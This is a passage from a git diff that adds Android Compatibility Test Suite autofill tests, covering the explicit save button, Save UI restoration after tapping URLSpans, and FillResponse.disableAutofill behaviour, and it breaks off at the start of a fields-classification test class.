+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        CharSequence inputText = "108";
+
+        switch (condition) {
+            case NORMAL:
+                // Nothing.
+                break;
+            case HAS_SESSION:
+                mActivity.syncRunOnUiThread(() -> {
+                    mActivity.mInput.setText("100");
+                });
+                sReplier.getNextFillRequest();
+                break;
+            case EMPTY_TEXT:
+                inputText = "";
+                break;
+            case FOCUSED:
+                mActivity.syncRunOnUiThread(() -> {
+                    mActivity.mInput.requestFocus();
+                });
+                sReplier.getNextFillRequest();
+                break;
+            case NOT_IMPORTANT_FOR_AUTOFILL:
+                mActivity.syncRunOnUiThread(() -> {
+                    mActivity.mInput.setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO);
+                });
+                break;
+            case INVISIBLE:
+                mActivity.syncRunOnUiThread(() -> {
+                    mActivity.mInput.setVisibility(View.INVISIBLE);
+                });
+                break;
+            default:
+                throw new IllegalArgumentException("invalid condition: " + condition);
+        }
+
+        // Trigger autofill by setting text.
+        final CharSequence text = inputText;
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText(text);
+        });
+
+        if (condition == SetTextCondition.NORMAL) {
+            sReplier.getNextFillRequest();
+
+            mActivity.syncRunOnUiThread(() -> {
+                mActivity.mInput.setText("100");
+                mActivity.mCommit.performClick();
+            });
+
+            mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        } else {
+            sReplier.assertOnFillRequestNotCalled();
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testExplicitlySaveButton() throws Exception {
+        explicitlySaveButtonTest(false, 0);
+    }
+
+    @Presubmit
+    @Test
+    public void testExplicitlySaveButtonWhenAppClearFields() throws Exception {
+        explicitlySaveButtonTest(true, 0);
+    }
+
+    @Presubmit
+    @Test
+    public void testExplicitlySaveButtonOnly() throws Exception {
+        explicitlySaveButtonTest(false, SaveInfo.FLAG_DONT_SAVE_ON_FINISH);
+    }
+
+    /**
+     * Tests scenario where service explicitly indicates which button is used to save.
+     */
+    private void explicitlySaveButtonTest(boolean clearFieldsOnSubmit, int flags) throws Exception {
+        final boolean testBitmap = false;
+        startActivity();
+        mActivity.setAutoCommit(false);
+        mActivity.setClearFieldsOnSubmit(clearFieldsOnSubmit);
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .setSaveTriggerId(mActivity.mCommit.getAutofillId())
+                .setSaveInfoFlags(flags)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.setText("108"));
+
+        // Take a screenshot to make sure button doesn't disappear.
+        final String commitBefore = mUiBot.assertShownByRelativeId(ID_COMMIT).getText();
+        assertThat(commitBefore.toUpperCase()).isEqualTo("COMMIT");
+        // Disable unnecessary screenshot tests as takeScreenshot() fails on some device.
+
+        final Bitmap screenshotBefore = testBitmap ? mActivity.takeScreenshot(mActivity.mCommit)
+                : null;
+
+        // Save it...
+        mActivity.syncRunOnUiThread(() -> mActivity.mCommit.performClick());
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // Make sure save button is showning (it was removed on earlier versions of the feature)
+        final String commitAfter = mUiBot.assertShownByRelativeId(ID_COMMIT).getText();
+        assertThat(commitAfter.toUpperCase()).isEqualTo("COMMIT");
+        final Bitmap screenshotAfter = testBitmap ? mActivity.takeScreenshot(mActivity.mCommit)
+                : null;
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+
+        if (testBitmap) {
+            Helper.assertBitmapsAreSame("commit-button", screenshotBefore, screenshotAfter);
+        }
+    }
+
+    @Override
+    protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
+        startActivity();
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    // Set response with custom description
+                    final AutofillId id = findAutofillIdByResourceId(contexts.get(0), ID_INPUT);
+                    final CustomDescription.Builder customDescription =
+                            newCustomDescriptionBuilder(WelcomeActivity.class);
+                    final RemoteViews update = newTemplate();
+                    if (updateLinkView) {
+                        update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
+                    } else {
+                        update.setCharSequence(R.id.static_text, "setText", "ME!");
+                    }
+                    Validator validCondition = new RegexValidator(id, Pattern.compile(".*"));
+                    customDescription.batchUpdate(validCondition,
+                            new BatchUpdates.Builder().updateTemplate(update).build());
+
+                    builder.setCustomDescription(customDescription.build());
+                })
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi;
+        if (updateLinkView) {
+            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC, "TAP ME IF YOU CAN");
+        } else {
+            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+            final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
+            assertThat(changed.getText()).isEqualTo("ME!");
+        }
+
+        // Tap the link.
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    enum DescriptionType {
+        SUCCINCT,
+        CUSTOM,
+    }
+
+    /**
+     * Tests scenarios when user taps a span in the custom description, then the new activity
+     * finishes:
+     * the Save UI should have been restored.
+     */
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
+    public void testTapUrlSpanOnCustomDescription_thenTapBack() throws Exception {
+        saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
+                ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
+    }
+
+    /**
+     * Tests scenarios when user taps a span in the succinct description, then the new activity
+     * finishes:
+     * the Save UI should have been restored.
+     */
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
+    public void testTapUrlSpanOnSuccinctDescription_thenTapBack() throws Exception {
+        saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
+                ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
+    }
+
+    /**
+     * Tests scenarios when user taps a span in the custom description, then the new activity
+     * starts an another activity then it finishes:
+     * the Save UI should have been restored.
+     */
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
+    public void testTapUrlSpanOnCustomDescription_forwardAnotherActivityThenTapBack()
+            throws Exception {
+        saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
+                ViewActionActivity.ActivityCustomAction.FAST_FORWARD_ANOTHER_ACTIVITY);
+    }
+
+    /**
+     * Tests scenarios when user taps a span in the succinct description, then the new activity
+     * starts an another activity then it finishes:
+     * the Save UI should have been restored.
+     */
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
+    public void testTapUrlSpanOnSuccinctDescription_forwardAnotherActivityThenTapBack()
+            throws Exception {
+        saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
+                ViewActionActivity.ActivityCustomAction.FAST_FORWARD_ANOTHER_ACTIVITY);
+    }
+
+    /**
+     * Tests scenarios when user taps a span in the custom description, then the new activity
+     * stops but does not finish:
+     * the Save UI should have been restored.
+     */
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
+    public void testTapUrlSpanOnCustomDescription_tapBackWithoutFinish() throws Exception {
+        saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
+                ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
+    }
+
+    /**
+     * Tests scenarios when user taps a span in the succinct description, then the new activity
+     * stops but does not finish:
+     * the Save UI should have been restored.
+     */
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "No real use case for instant mode af service")
+    public void testTapUrlSpanOnSuccinctDescription_tapBackWithoutFinish() throws Exception {
+        saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
+                ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
+    }
+
+    private void saveUiRestoredAfterTappingSpanTest(
+            DescriptionType type, ViewActionActivity.ActivityCustomAction action) throws Exception {
+        startActivity();
+        // Set service.
+        enableService();
+
+        switch (type) {
+            case SUCCINCT:
+                // Set expectations with custom description.
+                sReplier.addResponse(new CannedFillResponse.Builder()
+                        .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                        .setSaveDescription(newDescriptionWithUrlSpan(action.toString()))
+                        .build());
+                break;
+            case CUSTOM:
+                // Set expectations with custom description.
+                sReplier.addResponse(new CannedFillResponse.Builder()
+                        .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+                        .setSaveInfoVisitor((contexts, builder) -> builder
+                                .setCustomDescription(
+                                        newCustomDescriptionWithUrlSpan(action.toString())))
+                        .build());
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        // Waits for the commit be processed
+        mUiBot.waitForIdle();
+
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Tapping URLSpan.
+        final URLSpan span = mUiBot.findFirstUrlSpanWithText("Here is URLSpan");
+        mActivity.syncRunOnUiThread(() -> span.onClick(/* unused= */ null));
+        // Waits for the save UI hided
+        mUiBot.waitForIdle();
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // .. check activity show up as expected
+        switch (action) {
+            case FAST_FORWARD_ANOTHER_ACTIVITY:
+                // Show up second activity.
+                SecondActivity.assertShowingDefaultMessage(mUiBot);
+                break;
+            case NORMAL_ACTIVITY:
+            case TAP_BACK_WITHOUT_FINISH:
+                // Show up view action handle activity.
+                ViewActionActivity.assertShowingDefaultMessage(mUiBot);
+                break;
+            default:
+                throw new IllegalArgumentException("invalid action: " + action);
+        }
+
+        // ..then go back and save it.
+        mUiBot.pressBack();
+        // Waits for all UI processes to complete
+        mUiBot.waitForIdle();
+
+        // Make sure previous activity is back...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // ... and tap save.
+        final UiObject2 newSaveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        mUiBot.saveForAutofill(newSaveUi, /* yesDoIt= */ true);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+
+        SecondActivity.finishIt();
+        ViewActionActivity.finishIt();
+    }
+
+    private CustomDescription newCustomDescriptionWithUrlSpan(String action) {
+        final RemoteViews presentation = newTemplate();
+        presentation.setTextViewText(R.id.custom_text, newDescriptionWithUrlSpan(action));
+        return new CustomDescription.Builder(presentation).build();
+    }
+
+    private CharSequence newDescriptionWithUrlSpan(String action) {
+        final String url = "autofillcts:" + action;
+        final SpannableString ss = new SpannableString("Here is URLSpan");
+        ss.setSpan(new URLSpan(url),
+                /* start= */ 8,  /* end= */ 15, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
+        return ss;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
new file mode 100644
index 0000000..e098e87
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/DisableAutofillTest.java
@@ -0,0 +1,363 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.servicebehavior;
+
+import static android.autofillservice.cts.testcore.Timeouts.ACTIVITY_RESURRECTION;
+import static android.autofillservice.cts.testcore.Timeouts.CALLBACK_NOT_CALLED_TIMEOUT_MS;
+
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
+import android.autofillservice.cts.activities.PreSimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.FillResponse;
+import android.util.Log;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Tests for the {@link android.service.autofill.FillResponse.Builder#disableAutofill(long)} API.
+ */
+public class DisableAutofillTest extends AutoFillServiceTestCase.ManualActivityLaunch {
+
+    private static final String TAG = "DisableAutofillTest";
+
+    /**
+     * Defines what to do after the activity being tested is launched.
+     */
+    enum PostLaunchAction {
+        /**
+         * Used when the service disables autofill in the fill response for this activty. As such:
+         *
+         * <ol>
+         *   <li>There should be a fill request on {@code sReplier}.
+         *   <li>The first UI focus should generate a
+         *   {@link android.view.autofill.AutofillManager.AutofillCallback#EVENT_INPUT_UNAVAILABLE}
+         *   event.
+         *   <li>Subsequent UI focus should not trigger events.
+         * </ol>
+         */
+        ASSERT_DISABLING,
+
+        /**
+         * Used when the service already disabled autofill prior to launching activty. As such:
+         *
+         * <ol>
+         *   <li>There should be no fill request on {@code sReplier}.
+         *   <li>There should be no callback calls when UI is focused
+         * </ol>
+         */
+        ASSERT_DISABLED,
+
+        /**
+         * Used when autofill is enabled, so it tries to autofill the activity.
+         */
+        ASSERT_ENABLED_AND_AUTOFILL
+    }
+
+    /**
+     * Launches and finishes {@link SimpleSaveActivity}, returning how long it took.
+     */
+    private long launchSimpleSaveActivity(PostLaunchAction action) throws Exception {
+        Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+        sReplier.assertNoUnhandledFillRequests();
+
+        if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+            sReplier.addResponse(new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(SimpleSaveActivity.ID_INPUT, "id")
+                            .setField(SimpleSaveActivity.ID_PASSWORD, "pass")
+                            .setPresentation(createPresentation("YO"))
+                            .build())
+                    .build());
+
+        }
+
+        final long before = SystemClock.elapsedRealtime();
+        final SimpleSaveActivity activity = startSimpleSaveActivity();
+        final MyAutofillCallback callback = activity.registerCallback();
+
+        try {
+            // Trigger autofill
+            activity.syncRunOnUiThread(() -> activity.mInput.requestFocus());
+
+            if (action == PostLaunchAction.ASSERT_DISABLING) {
+                callback.assertUiUnavailableEvent(activity.mInput);
+                sReplier.getNextFillRequest();
+
+                // Make sure other fields are not triggered.
+                activity.syncRunOnUiThread(() -> activity.mPassword.requestFocus());
+                callback.assertNotCalled();
+            } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+                // Make sure forced requests are ignored as well.
+                activity.getAutofillManager().requestAutofill(activity.mInput);
+                callback.assertNotCalled();
+            } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+                callback.assertUiShownEvent(activity.mInput);
+                sReplier.getNextFillRequest();
+                final SimpleSaveActivity.FillExpectation autofillExpectation =
+                        activity.expectAutoFill("id", "pass");
+                mUiBot.selectDataset("YO");
+                autofillExpectation.assertAutoFilled();
+            }
+
+            // Asserts isEnabled() status.
+            assertAutofillEnabled(activity, action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+        } finally {
+            activity.finish();
+        }
+        return SystemClock.elapsedRealtime() - before;
+    }
+
+    /**
+     * Launches and finishes {@link PreSimpleSaveActivity}, returning how long it took.
+     */
+    private long launchPreSimpleSaveActivity(PostLaunchAction action) throws Exception {
+        Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+        sReplier.assertNoUnhandledFillRequests();
+
+        if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+            sReplier.addResponse(new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(PreSimpleSaveActivity.ID_PRE_INPUT, "yo")
+                            .setPresentation(createPresentation("YO"))
+                            .build())
+                    .build());
+        }
+
+        final long before = SystemClock.elapsedRealtime();
+        final PreSimpleSaveActivity activity = startPreSimpleSaveActivity();
+        final MyAutofillCallback callback = activity.registerCallback();
+
+        try {
+            // Trigger autofill
+            activity.syncRunOnUiThread(() -> activity.mPreInput.requestFocus());
+
+            if (action == PostLaunchAction.ASSERT_DISABLING) {
+                callback.assertUiUnavailableEvent(activity.mPreInput);
+                sReplier.getNextFillRequest();
+            } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+                activity.getAutofillManager().requestAutofill(activity.mPreInput);
+                callback.assertNotCalled();
+            } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+                callback.assertUiShownEvent(activity.mPreInput);
+                sReplier.getNextFillRequest();
+                final PreSimpleSaveActivity.FillExpectation autofillExpectation =
+                        activity.expectAutoFill("yo");
+                mUiBot.selectDataset("YO");
+                autofillExpectation.assertAutoFilled();
+            }
+
+            // Asserts isEnabled() status.
+            assertAutofillEnabled(activity, action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+        } finally {
+            activity.finish();
+        }
+        return SystemClock.elapsedRealtime() - before;
+    }
+
+    @After
+    public void clearAutofillOptions() throws Exception {
+        // Clear AutofillOptions.
+        Helper.clearApplicationAutofillOptions(sContext);
+    }
+
+    @Before
+    public void resetAutofillOptions() throws Exception {
+        // Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
+        Helper.resetApplicationAutofillOptions(sContext);
+    }
+
+    @Presubmit
+    @Test
+    public void testDisableApp() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(
+                new CannedFillResponse.Builder().disableAutofill(Long.MAX_VALUE).build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Now try it using a different activity - should be disabled too.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDisableApp() is enough")
+    public void testDisableAppThenWaitToReenableIt() throws Exception {
+        // Set service.
+        enableService();
+
+        // Need to wait the equivalent of launching 2 activities, plus some extra legging room
+        final long duration = 2 * ACTIVITY_RESURRECTION.ms() + 500;
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder().disableAutofill(duration).build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+        // Launch activity again.
+        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Wait for the timeout, then try again, autofilling it this time.
+        sleep(passedTime, duration);
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+        // Also try it on another activity.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDisableApp() is enough")
+    public void testDisableAppThenResetServiceToReenableIt() throws Exception {
+        enableService();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .disableAutofill(Long.MAX_VALUE).build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Then "reset" service to re-enable autofill.
+        disableService();
+        enableService();
+
+        // Try again on activity that disabled it.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+        // Try again on other activity.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    @Presubmit
+    @Test
+    public void testDisableActivity() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .disableAutofill(Long.MAX_VALUE)
+                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+                .build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Now try it using a different activity - should work.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDisableActivity() is enough")
+    public void testDisableActivityThenWaitToReenableIt() throws Exception {
+        // Set service.
+        enableService();
+
+        // Need to wait the equivalent of launching 2 activities, plus some extra legging room
+        final long duration = 2 * ACTIVITY_RESURRECTION.ms() + 500;
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .disableAutofill(duration)
+                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+                .build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+        // Launch activity again.
+        long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Make sure other app is working.
+        passedTime += launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+        // Wait for the timeout, then try again, autofilling it this time.
+        sleep(passedTime, duration);
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    @Test
+    @AppModeFull(reason = "testDisableActivity() is enough")
+    public void testDisableActivityThenResetServiceToReenableIt() throws Exception {
+        enableService();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .disableAutofill(Long.MAX_VALUE)
+                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+                .build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Make sure other app is working.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+        // Then "reset" service to re-enable autofill.
+        disableService();
+        enableService();
+
+        // Try again on activity that disabled it.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    private void assertAutofillEnabled(AbstractAutoFillActivity activity, boolean expected)
+            throws Exception {
+        ACTIVITY_RESURRECTION.run(
+                "assertAutofillEnabled(" + activity.getComponentName().flattenToShortString() + ")",
+                () -> {
+                    return activity.getAutofillManager().isEnabled() == expected
+                            ? Boolean.TRUE : null;
+                });
+    }
+
+    private void sleep(long passedTime, long disableDuration) {
+        final long napTime = disableDuration - passedTime + 500;
+        if (napTime <= 0) {
+            // Throw an exception so ACTIVITY_RESURRECTION is increased
+            throw new RetryableException("took longer than expcted to launch activities: "
+                            + "passedTime=" + passedTime + "ms, disableDuration=" + disableDuration
+                            + ", ACTIVITY_RESURRECTION=" + ACTIVITY_RESURRECTION
+                            + ", CALLBACK_NOT_CALLED_TIMEOUT_MS=" + CALLBACK_NOT_CALLED_TIMEOUT_MS);
+        }
+        Log.v(TAG, "Sleeping for " + napTime + "ms (duration=" + disableDuration + "ms, passedTime="
+                + passedTime + ")");
+        SystemClock.sleep(napTime);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/FieldsClassificationTest.java
new file mode 100644
index 0000000..4e552ff
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/FieldsClassificationTest.java
@@ -0,0 +1,862 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.servicebehavior;
+
+import static android.autofillservice.cts.activities.GridActivity.ID_L1C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L1C2;
+import static android.autofillservice.cts.activities.GridActivity.ID_L2C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L2C2;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForContextCommitted;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForFieldsClassification;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.provider.Settings.Secure.AUTOFILL_FEATURE_FIELD_CLASSIFICATION;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_VALUE_LENGTH;
+import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MIN_VALUE_LENGTH;
+import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_CREDIT_CARD;
+import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EDIT_DISTANCE;
+import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EXACT_MATCH;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.commontests.AbstractGridActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper.FieldClassificationResult;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.UserData;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillManager;
+import android.widget.EditText;
+
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+
+import org.junit.ClassRule;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.concurrent.atomic.AtomicReference;
+
+@Presubmit
+@AppModeFull(reason = "Service-specific test")
+public class FieldsClassificationTest extends AbstractGridActivityTestCase {
+
+    @ClassRule
+    public static final SettingsStateChangerRule sFeatureEnabler =
+            new SettingsStateChangerRule(sContext, AUTOFILL_FEATURE_FIELD_CLASSIFICATION, "1");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxFcSizeChanger =
+            new SettingsStateChangerRule(sContext,
+                    AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE, "10");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxUserSizeChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE, "9");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMinValueChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MIN_VALUE_LENGTH, "4");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxValueChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_VALUE_LENGTH, "50");
+
+    @ClassRule
+    public static final SettingsStateChangerRule sUserDataMaxCategoryChanger =
+            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT, "42");
+
+    private AutofillManager mAfm;
+    private final Bundle mLast4Bundle = new Bundle();
+    private final Bundle mCreditCardBundle = new Bundle();
+
+    @Override
+    protected void postActivityLaunched() {
+        mAfm = mActivity.getAutofillManager();
+        mLast4Bundle.putInt("MATCH_SUFFIX", 4);
+
